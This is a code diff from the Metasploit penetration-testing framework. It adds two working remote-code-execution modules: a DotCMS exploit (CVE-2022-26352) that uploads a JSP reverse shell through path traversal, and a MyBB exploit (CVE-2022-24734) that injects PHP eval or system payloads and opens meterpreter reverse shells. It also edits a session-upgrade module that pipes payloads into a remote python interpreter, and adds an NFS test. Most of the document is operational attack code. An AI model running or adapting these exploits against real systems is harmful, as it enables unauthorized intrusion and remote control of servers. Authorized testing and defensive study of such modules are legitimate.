rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e
vprint_error(e.to_s)
end
end
@@ -0,0 +1,167 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'DotCMS RCE via Arbitrary File Upload.',
'Description' => %q{
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a
specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get
written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special
.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
},
'Author' => [
'Shubham Shah', # Discovery and analysis
'Hussein Daher', # Discovery and analysis
'jheysel-r7' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-26352'],
['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
],
'Privileged' => false,
'Platform' => %w[linux win],
'Targets' => [
[
'Java Linux',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
],
[
'Java Windows',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => '2022-05-03',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(8443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
test_content = Rex::Text.rand_text_alpha(10)
test_file = "#{test_content}.jsp"
test_path = "../../#{test_file}"
uuid = Faker::Internet.uuid
jsp = <<~EOS
<%@ page import=\"java.io.File\" %>
<%
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
jsp.delete();
%>
#{uuid}
EOS
vars_form_data = [
{
'name' => 'name',
'data' => jsp,
'encoding' => nil,
'filename' => test_path,
'mime_type' => 'text/plain'
}
]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/content/'),
'vars_form_data' => vars_form_data
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, test_file.to_s)
)
if res && res.body.include?(uuid)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def write_jsp_payload
jsp_path = "../../#{jsp_filename}"
print_status('Writing JSP payload')
vars_form_data = [
{
'name' => 'name',
'data' => payload.encoded,
'encoding' => nil,
'filename' => jsp_path,
'mime_type' => 'text/plain'
}
]
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/content/'),
'vars_form_data' => vars_form_data
)
unless res&.code == 500
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
end
register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
print_good('Successfully wrote JSP payload')
end
def execute_jsp_payload
jsp_uri = normalize_uri(target_uri.path, jsp_filename)
print_status('Executing JSP payload')
res = send_request_cgi(
'method' => 'GET',
'uri' => jsp_uri
)
unless res&.code == 200
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
end
print_good('Successfully executed JSP payload')
end
def exploit
write_jsp_payload
execute_jsp_payload
end
def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
end
end
@@ -0,0 +1,278 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MyBB Admin Control Code Injection RCE',
'Description' => %q{
This exploit module leverages an improper input validation
vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
the context of the user running the application.
MyBB Admin Control setting page calls PHP `eval` function with an
unsanitized user input. The exploit adds a new setting, injecting the
payload in the vulnerable field, and triggers its execution with a
second request. Finally, it takes care of cleaning up and removes the
setting.
Note that authentication is required for this exploit to work and the
account must have rights to add or update settings (typically, myBB
administrator role).
},
'License' => MSF_LICENSE,
'Author' => [
'Cillian Collins', # vulnerability research
'Altelus', # original PoC
'Christophe De La Fuente' # MSF module
],
'References' => [
[ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],
[ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],
[ 'CVE', '2022-24734']
],
'Platform' => %w[php unix linux win],
'Privileged' => false,
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
'Type' => :in_memory
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :dropper
}
],
[
'Windows (In-Memory)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Windows (Dropper)',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Type' => :dropper
}
]
],
'DisclosureDate' => '2022-03-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'intcheck' => 1 }
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
# see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310
unless res.body.include?('&#077;&#089;&#066;&#066;')
return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")
end
print_good("MyBB forum found running at #{target_uri.path}")
return CheckCode::Detected
end
def login
vprint_status('Attempting login')
cookie_jar.cleanup(true)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'do' => 'login'
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
end
print_good('Login successful!')
end
def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)
req_hash = {
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => method,
'vars_get' => {
'module' => 'config-settings',
'action' => action
}.merge(vars_get)
}
req_hash['vars_post'] = vars_post unless vars_post.blank?
res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)
if check_response && res.nil?
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")
end
res
end
def exploit
login
res = send_config_settings
if res.body.include?('Access Denied')
fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")
end
vprint_status('Adding a malicious settings')
doc = res.get_html_document
@my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text
case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def send_payload(cmd)
vprint_status('Adding a crafted configuration setting entry with the payload')
cmd = cmd.gsub(/\\/, '\\' => '\\\\')
cmd = cmd.gsub(/"/, '"' => '\\"')
cmd = cmd.gsub(/\$/, '$' => '\\$')
case target['Platform']
when 'php'
extra = "\" . eval(\"#{cmd}\") .\""
when 'win'
if target['Arch'] == ARCH_CMD
# Force cmd to run in the background (only works for `cmd`)
extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""
else
extra = "\" . system(\"#{cmd}\") .\""
end
else
extra = "\" . system(\"#{cmd} > /dev/null &\") .\""
end
post_data = {
my_post_key: @my_post_key,
title: Rex::Text.rand_text_alpha(rand(8...16)),
description: Rex::Text.rand_text_alpha(rand(8...16)),
gid: 1,
disporder: '',
name: Rex::Text.rand_text_alpha(rand(8...16)),
type: "\tphp",
extra: extra,
value: Rex::Text.rand_text_alpha(rand(8...16))
}
res = send_config_settings(method: 'POST', vars_post: post_data)
unless res.code == 302
doc = res.get_html_document
err = doc.xpath('//div[@class="error"]').text
fail_with(Failure::Unknown,
"#{peer} - The module expected a 302 response but received: "\
"#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")
end
vprint_good('Payload successfully sent')
end
def trigger_payload
vprint_status('Triggering the payload execution')
# We're not expecting response to this query
send_config_settings(action: 'change', check_response: false)
end
def remove_setting
vprint_status('Removing the configuration setting')
vprint_status('Grab the delete parameters')
res = send_config_settings(action: 'manage')
if res.body.include?('<title>MyBB Control Panel - Login</title>')
# this exploit seems to logout users sometimes, so, try to login again and retry
print_status('User session is not valid anymore. Trying to login again to cleanup')
login
res = send_config_settings(action: 'manage')
end
doc = res.get_html_document
control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')
uri = control_links.detect do |href|
href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")
end
if uri.nil?
print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")
return
end
vprint_status('Send the delete request')
params = uri.text.split('?')[1]
get_data = CGI.parse(params).transform_values(&:join)
send_config_settings(method: 'POST', vars_get: get_data)
end
def execute_command(cmd, _opt = {})
send_payload(cmd)
trigger_payload
remove_setting
print_status('Shell incoming...')
end
end
@@ -45,11 +45,17 @@ class MetasploitModule < Msf::Post
OptString.new('BOURNE_PATH',
[false, 'Remote path to drop binary']),
OptString.new('BOURNE_FILE',
[false, 'Remote filename to use for dropped binary'])
[false, 'Remote filename to use for dropped binary']),
OptInt.new('COMMAND_TIMEOUT',
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
])
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end
def command_timeout
datastore['COMMAND_TIMEOUT']
end
# Run method for when run command is issued
def run
print_status("Upgrading session ID: #{datastore['SESSION']}")
@@ -118,7 +124,7 @@ class MetasploitModule < Msf::Post
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
elsif remote_python_binary
# Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
@@ -176,7 +182,7 @@ class MetasploitModule < Msf::Post
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
else
psh_opts[:remove_comspec] = true
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, 15, { 'Channelized' => false })
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
end
else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
@@ -186,11 +192,11 @@ class MetasploitModule < Msf::Post
end
when 'python'
vprint_status('Transfer method: Python')
cmd_exec("echo \"#{payload_data}\" | python")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
when 'osx'
vprint_status('Transfer method: Python [OSX]')
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
cmd_exec("echo \"#{payload_data}\" | python & disown")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
else
vprint_status('Transfer method: Bourne shell [fallback]')
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
@@ -204,6 +210,29 @@ class MetasploitModule < Msf::Post
return nil
end
#
# Get the Python binary from the remote machine, if any, by running
# a series of channelized `cmd_exec` calls.
# @return String/nil A string if a Python binary can be found, else nil.
#
def remote_python_binary
return @remote_python_binary if defined?(@remote_python_binary)
python_exists_regex = /Python (2|3)\.(\d)/
if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python3'
elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python'
elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python2'
else
@remote_python_binary = nil
end
@remote_python_binary
end
def transmit_payload(exe, platform)
#
# Generate the stager command array
@@ -249,22 +278,27 @@ class MetasploitModule < Msf::Post
#
sent = 0
aborted = false
cmds.each do |cmd|
ret = cmd_exec(cmd)
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
cmds.each.with_index do |cmd, i|
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
# for an unlimited amount of time for the newly spawned session to exit.
wait_for_cmd_result = i + 1 < cmds.length
# Note that non-channelized cmd_exec calls currently return an empty string
ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
if wait_for_cmd_result
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
end
end
sent += cmd.length
progress(total_bytes, sent)
end
rescue ::Interrupt
+65
View File
@@ -0,0 +1,65 @@
# -*- coding: binary -*-
require 'spec_helper'
RSpec.describe Msf::Auxiliary::Nfs do
subject do
mod = Msf::Module.new
mod.extend(Msf::Auxiliary::Nfs)
mod
end
context '#can_mount?' do
it 'deals with astericks' do
expect(subject.can_mount?(['*'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with empty' do
expect(subject.can_mount?([''], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'deals with my IP' do
expect(subject.can_mount?(['1.1.1.1'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with not my IP' do
expect(subject.can_mount?(['2.2.2.2'], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'correctly handles lists' do
expect(subject.can_mount?(['2.2.2.2/255.255.255.0', '1.1.1.1/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with my IP with subnet' do
expect(subject.can_mount?(['1.1.1.1/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with not my IP with subnet' do
expect(subject.can_mount?(['2.2.2.2/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'deals with my IP with cidr' do
expect(subject.can_mount?(['1.1.1.1/24'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with not my IP with cidr' do
expect(subject.can_mount?(['2.2.2.2/24'], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'exact hostname' do
expect(subject.can_mount?(['my.hostname'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'bad hostname' do
expect(subject.can_mount?(['not.my.hostname'], true, 'foo.bar', '1.1.1.1')).to be false
end
it 'hostname with wildcard' do
expect(subject.can_mount?(['*.hostname'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'bad hostname with wildcard' do
expect(subject.can_mount?(['*.not.my.hostname'], true, 'foo.bar', '1.1.1.1')).to be false
end
end
end